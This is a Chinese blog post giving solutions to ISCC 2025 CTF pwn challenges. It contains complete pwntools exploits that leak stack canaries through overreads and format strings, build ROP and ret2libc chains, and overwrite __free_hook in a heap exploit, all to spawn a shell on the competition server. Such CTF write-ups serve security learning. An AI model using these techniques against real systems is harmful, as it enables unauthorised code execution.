ISCC 2025 练武2025二周目pwn题解

ISCC 2025 练武2025二周目pwn题解

其实和一周目思想差不多,具体可以看:https://www.cnblogs.com/resea/p/18861555

第一题

image

进来输入no

image

说谢谢了吗?thanks

image

主要漏洞函数

image

这里偷懒用上次的题解了...

考点是:泄漏金丝雀+32传参+泄漏libc基址

嗯,很简单干净,两次写入,一次输出,思路也很简单:

  1. 填充24垃圾字节
  2. 填充1字节金丝雀高位
  3. 接受金丝雀
  4. 泄漏libc

先写上八股文:

from pwn import *

one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.log_level = 'debug'
context.arch = 'amd64'

# io = process('attachment-22')
io = remote("101.200.155.151",12000)
file = ELF("attachment-22")
# libc = ELF("libc6-i386_2.35-0ubuntu3.9_amd64.so")
# libc = ELF("./libc.so.6")

def debug():
    gdb.attach(io)
    input()

def get():
    return u64(io.recv(6).ljust(8, b'\x00'))

io.sendafter(b"no?",b"no\n")
io.sendafter(b"modest",b"thanks\n")

泄漏金丝雀相关:


io.recvuntil(b"init")
io.send(flat([
    b"a"*(0x20-0x8),
    b"g"
]))
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
print("canary:", hex(canary))

直接打传参

发现有system

image

# 构造ROP链
payload = flat([
    cyclic(0x20-0x8),  # 填充至金丝雀前
    p64(canary),  # 加入金丝雀值
    cyclic(0x8),  # 填充至返回地址
    p64(file.search(asm("pop rdi; ret;")).__next__() + 1),  # re
    p64(file.search(asm("pop rdi; ret;")).__next__()),  # pop rdi; ret gadget
    p64(file.search("/bin/sh\x00").__next__()),  # puts 的 GOT 地址作为参数
    p64(file.plt['system']),  # 调用 puts
    # p64(file.sym['main']),  # 再次返回 main,避免退出
])
io.send(payload)
io.interactive()

打完

完整exp

from pwn import *

one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.log_level = 'debug'
context.arch = 'amd64'

# io = process('attachment-22')
io = remote("101.200.155.151",12000)
file = ELF("attachment-22")
# libc = ELF("libc6-i386_2.35-0ubuntu3.9_amd64.so")
# libc = ELF("./libc.so.6")

def debug():
    gdb.attach(io)
    input()

def get():
    return u64(io.recv(6).ljust(8, b'\x00'))

io.sendafter(b"no?",b"no\n")
io.sendafter(b"modest",b"thanks\n")
io.recvuntil(b"init")
io.send(flat([
    b"a"*(0x20-0x8),
    b"g"
]))
io.recvuntil(b"g")
canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
print("canary:", hex(canary))
io.recvuntil(b"thank")

# 构造ROP链
payload = flat([
    cyclic(0x20-0x8),  # 填充至金丝雀前
    p64(canary),  # 加入金丝雀值
    cyclic(0x8),  # 填充至返回地址
    p64(file.search(asm("pop rdi; ret;")).__next__() + 1),  # re
    p64(file.search(asm("pop rdi; ret;")).__next__()),  # pop rdi; ret gadget
    p64(file.search("/bin/sh\x00").__next__()),  # puts 的 GOT 地址作为参数
    p64(file.plt['system']),  # 调用 puts
    # p64(file.sym['main']),  # 再次返回 main,避免退出
])
io.send(payload)
io.interactive()

image

第二题

image
主函数没漏洞
image

我们直接上溢出到0即可绕过检验pwn(2,32)/10 == 2147483648,刚刚开始的时候忘记可以上溢出了,卡住了。

问题是如何泄漏PIE和金丝雀,发现有格式化字符串漏洞

image

进调试器看
image
偏移为8

金丝雀在格式化字符串本体下面8+917个,main则在本体下面8+1725
image

# AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
# AAAAAAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
from pwn import *

one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./attachment-32')
# io = remote("101.200.155.151", 12600)
file = ELF("./attachment-32")
libc = ELF("libc6_2.35-0ubuntu3.9_amd64.so")
# libc = ELF("./libc.so.6")


def debug():
    '''
    打开gdb,在模拟器内用
    '''
    gdb.attach(io)
    input()


def get_canary(size: int = 0):
    '''
    接受金丝雀
    '''
    payload = flat([
        b"a" * (size-1),
        b"g"
    ])
    io.send(payload)
    canary = u64(b'\x00' + io.recv(7))
    print("canary:", hex(canary))
    return canary


def get_puts(_name: str = "addr"):
    '''
    接受泄漏地址
    '''
    addr = u64(io.recv(6).ljust(8, b'\x00'))
    print(f"{_name}:{hex(addr)}")
    return


def fastbin_fd(pos: int, ptr: int):
    """
    计算 fastbin 加密后的 fd 指针值 (libc 2.32+)
    
    参数:
        pos (int): fd指针所在的内存地址 (如 0x55555555b3a0)
        ptr (int): 原始要存储的指针值 (如 0x55555555B370)
        
    返回:
        int: 加密后的指针值
    """
    # 计算过程
    shifted_pos = pos >> 12
    encrypted_ptr = shifted_pos ^ ptr
    # 调试信息
    print(f"加密后的 fd 指针: {hex(encrypted_ptr)}")
    return encrypted_ptr


io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'1')

io.recvuntil(b'Furina: Time is limited! >> ')
io.sendline(b'2147483648')

io.recvuntil(b'Furina: Present your evidence! >> ')
io.sendline(b"%17$p")
debug()
canary = int(io.recvuntil(b"\n"), 16)
print(hex(canary))

io.recvuntil(b'hcy want to eat chicken! >> ')
io.sendline(b'1')

io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'1')

io.recvuntil(b'Furina: Time is limited! >> ')
io.sendline(b'2147483648')

# debug()
io.recvuntil(b'Furina: Present your evidence! >> ')
io.sendline(b"%25$p")

main = int(io.recvuntil(b"\n"), 16)
pie = main - file.sym['main']
print(f"debug {pie}")
file.address = pie

接下来就是常规的打libc基址


io.recvuntil(b'hcy want to eat chicken! >> ')
io.sendline(b'1')

io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'2')

payload = flat([
    cyclic(0x48),
    p64(canary),
    cyclic(0x8),
    p64(file.search(asm("pop rdi; ret;")).__next__()),
    p64(file.got['puts']),
    p64(file.plt['puts']),
    p64(file.sym['main'])
])
io.recvuntil(b'Furina: The trial is adjourned')
io.sendline(payload)
# debug()

print(f"debug {io.recv(1)}")
# print(f"debug {io.recv(1)}")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
# print(f"debug {io.recv(7)}")
# puts_addr = io.recv(6).ljust(8, b'\x00')
# puts_addr = int(puts_addr, 16)
print(f"puts_addr {hex(puts_addr)}")

libc_base = puts_addr - libc.sym['puts']
print(f"libc_base:{hex(libc_base)}")

# io.interactive()
# io.recvuntil(b'Furina: Your choice? >> ')

然后打传参,这史题又不给libc,和之前一样直接用libc找即可,然后要ret两次才能平衡,太史了!

io.sendline(b'2')

io.recvuntil(b'Furina: The trial is adjourned')
payload = flat([
    cyclic(0x48),
    p64(canary),
    p64(file.search(asm("pop rdi; ret;")).__next__() + 1),
    p64(file.search(asm("pop rdi; ret;")).__next__() + 1),
    p64(file.search(asm("pop rdi; ret;")).__next__()),
    # p64(libc.search(b"/bin/sh\x00").__next__()),
    # p64(libc.sym['puts'])
    p64(0x1d8678 + libc_base),
    # p64(libc.sym['system']),
    p64(0x050d70 + libc_base)
    # p64(file.sym['main'])
])
# debug()
io.sendline(payload)
io.interactive()

完整exp

# %p-%p-%p-%p-%p-%p-%p-%p-%p-%p
# %p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
from pwn import *

one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./attachment-32')
# io = remote("101.200.155.151", 12600)
file = ELF("./attachment-32")
libc = ELF("libc6_2.35-0ubuntu3.9_amd64.so")
# libc = ELF("./libc.so.6")


def debug():
    '''
    打开gdb,在模拟器内用
    '''
    gdb.attach(io)
    input()


def get_canary(size: int = 0):
    '''
    接受金丝雀
    '''
    payload = flat([
        b"a" * (size-1),
        b"g"
    ])
    io.send(payload)
    canary = u64(b'\x00' + io.recv(7))
    print("canary:", hex(canary))
    return canary


def get_puts(_name: str = "addr"):
    '''
    接受泄漏地址
    '''
    addr = u64(io.recv(6).ljust(8, b'\x00'))
    print(f"{_name}:{hex(addr)}")
    return


def fastbin_fd(pos: int, ptr: int):
    """
    计算 fastbin 加密后的 fd 指针值 (libc 2.32+)
    
    参数:
        pos (int): fd指针所在的内存地址 (如 0x55555555b3a0)
        ptr (int): 原始要存储的指针值 (如 0x55555555B370)
        
    返回:
        int: 加密后的指针值
    """
    # 计算过程
    shifted_pos = pos >> 12
    encrypted_ptr = shifted_pos ^ ptr
    # 调试信息
    print(f"加密后的 fd 指针: {hex(encrypted_ptr)}")
    return encrypted_ptr


io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'1')

io.recvuntil(b'Furina: Time is limited! >> ')
io.sendline(b'2147483648')

io.recvuntil(b'Furina: Present your evidence! >> ')
io.sendline(b"%17$p")
# debug()
canary = int(io.recvuntil(b"\n"), 16)
print(hex(canary))

io.recvuntil(b'hcy want to eat chicken! >> ')
io.sendline(b'1')

io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'1')

io.recvuntil(b'Furina: Time is limited! >> ')
io.sendline(b'2147483648')

# debug()
io.recvuntil(b'Furina: Present your evidence! >> ')
io.sendline(b"%25$p")

main = int(io.recvuntil(b"\n"), 16)
pie = main - file.sym['main']
print(f"debug {pie}")
file.address = pie

io.recvuntil(b'hcy want to eat chicken! >> ')
io.sendline(b'1')

io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'2')

payload = flat([
    cyclic(0x48),
    p64(canary),
    cyclic(0x8),
    p64(file.search(asm("pop rdi; ret;")).__next__()),
    p64(file.got['puts']),
    p64(file.plt['puts']),
    p64(file.sym['main'])
])
io.recvuntil(b'Furina: The trial is adjourned')
io.sendline(payload)
# debug()

print(f"debug {io.recv(1)}")
# print(f"debug {io.recv(1)}")
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
# print(f"debug {io.recv(7)}")
# puts_addr = io.recv(6).ljust(8, b'\x00')
# puts_addr = int(puts_addr, 16)
print(f"puts_addr {hex(puts_addr)}")

libc_base = puts_addr - libc.sym['puts']
print(f"libc_base:{hex(libc_base)}")

# io.interactive()
# io.recvuntil(b'Furina: Your choice? >> ')
io.sendline(b'2')

io.recvuntil(b'Furina: The trial is adjourned')
payload = flat([
    cyclic(0x48),
    p64(canary),
    p64(file.search(asm("pop rdi; ret;")).__next__() + 1),
    p64(file.search(asm("pop rdi; ret;")).__next__() + 1),
    p64(file.search(asm("pop rdi; ret;")).__next__()),
    # p64(libc.search(b"/bin/sh\x00").__next__()),
    # p64(libc.sym['puts'])

    p64(0x1d8678 + libc_base),
    # p64(libc.sym['system']),
    p64(0x050d70 + libc_base)
    # p64(file.sym['main'])
])
# debug()
io.sendline(payload)
io.interactive()

image

第三题

没做出来,漏知识点了,0秒猜出出题者id长度,等我摸清楚了再来写罢

第四题

第四题也是和之前第三题差不多,不过远程换成了ubuntu20,原理和之前的大差不差,只不过上次限制只能存7个这次可以随便存了,就还是沿用上次打法,直接给exp吧,一摸一样的......

from pwn import *

# one_getshell: list[int] = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.log_level = 'debug'
context.arch = 'amd64'

io = process('attachment-23')
io = remote("101.200.155.151", 12300)
file = ELF("attachment-23")
libc = ELF("libc.so.6")
# libc = ELF("./libc.so.6")

def debug():
    gdb.attach(io)
    input()

def canary(_str:str):
    io.recvuntil(_str.encode())
    io.send(b'a'*(0x4C-0xC) + b'g') #填充金丝雀高位,然后printf泄漏其余位置
    io.recvuntil(b"g")
    canary = u64(b'\x00' + io.recv(7)) #泄露金丝雀的固定写法了属于是
    print("canary:", hex(canary))
    return canary

def get():
    return u64(io.recv(6).ljust(8, b'\x00'))

def add(index:int,size: int):
    io.recvuntil(b"choice:")
    io.send(b'1')
    io.recvuntil(b"index:")
    io.send(str(index).encode())
    io.recvuntil(b"size:")
    io.send(str(size).encode())


def free(index: int):
    io.recvuntil(b"choice:")
    io.send(b'2')
    io.recvuntil(b"index:")
    io.send(str(index).encode())


def edit(index: int, content: bytes):
    io.recvuntil(b"choice:")
    io.send(b'3')
    io.recvuntil(b"index:")
    io.send(str(index).encode())
    io.recvuntil(b'length:')
    io.send(str(len(content)).encode())
    io.recvuntil(b"content:")
    io.send(content)


def down(index: int):
    io.recvuntil(b"choice:")
    io.send(b'4')
    io.recvuntil(b"index:")
    io.send(str(index).encode())


def exit():
    io.recvuntil(b"choice:")
    io.send(b'5')


add(0,0x600)
add(1,0x20)
free(0)
add(0,0x600)
'''
获取fd
'''
down(0)

print(f"DEBUG{io.recvn(1)}")
fd_leak = u64(io.recvn(6).ljust(8, b'\x00'))
print(f"fd_leak: {hex(fd_leak)}")
# debug()

malloc_hook = fd_leak + (0xb70 - 0xbe0)
print(f"malloc_hook: {hex(malloc_hook)}")
libc.address = malloc_hook - libc.sym['__malloc_hook']

# debug()
fake_chunk_addr = libc.sym['__malloc_hook'] - 0x23  # 0xf7

# 获取偏移


add(2,0x20)
payload = flat([
    b"/bin/sh\x00",
])
# debug()
edit(2,payload)
add(0,0x20)
add(1,0x20)
free(0)
free(1)
# debug()
payload = flat([
    p64(libc.sym['__free_hook']),
    # p64(libc.sym['__malloc_hook'])
])

edit(1,payload)
# debug()
add(3,0x20)
# debug()
add(4,0x20)
# debug()
payload = flat([
    p64(libc.sym['system']),
    # p64(libc.sym['puts'])
    # p64(0x4f29e + libc.address)
])
edit(4,payload)
# debug()
free(2)

io.interactive()

主要的变化点就在:malloc_hook = fd_leak + (0xb70 - 0xbe0) 的值要重新计算,菜单改了改,但是不影响,其他的一摸一样,要看具体的在:https://www.cnblogs.com/resea/p/18861555

image

总结

史!

posted @ 2025-05-18 08:46  归海言诺  阅读(99)  评论(0)    收藏  举报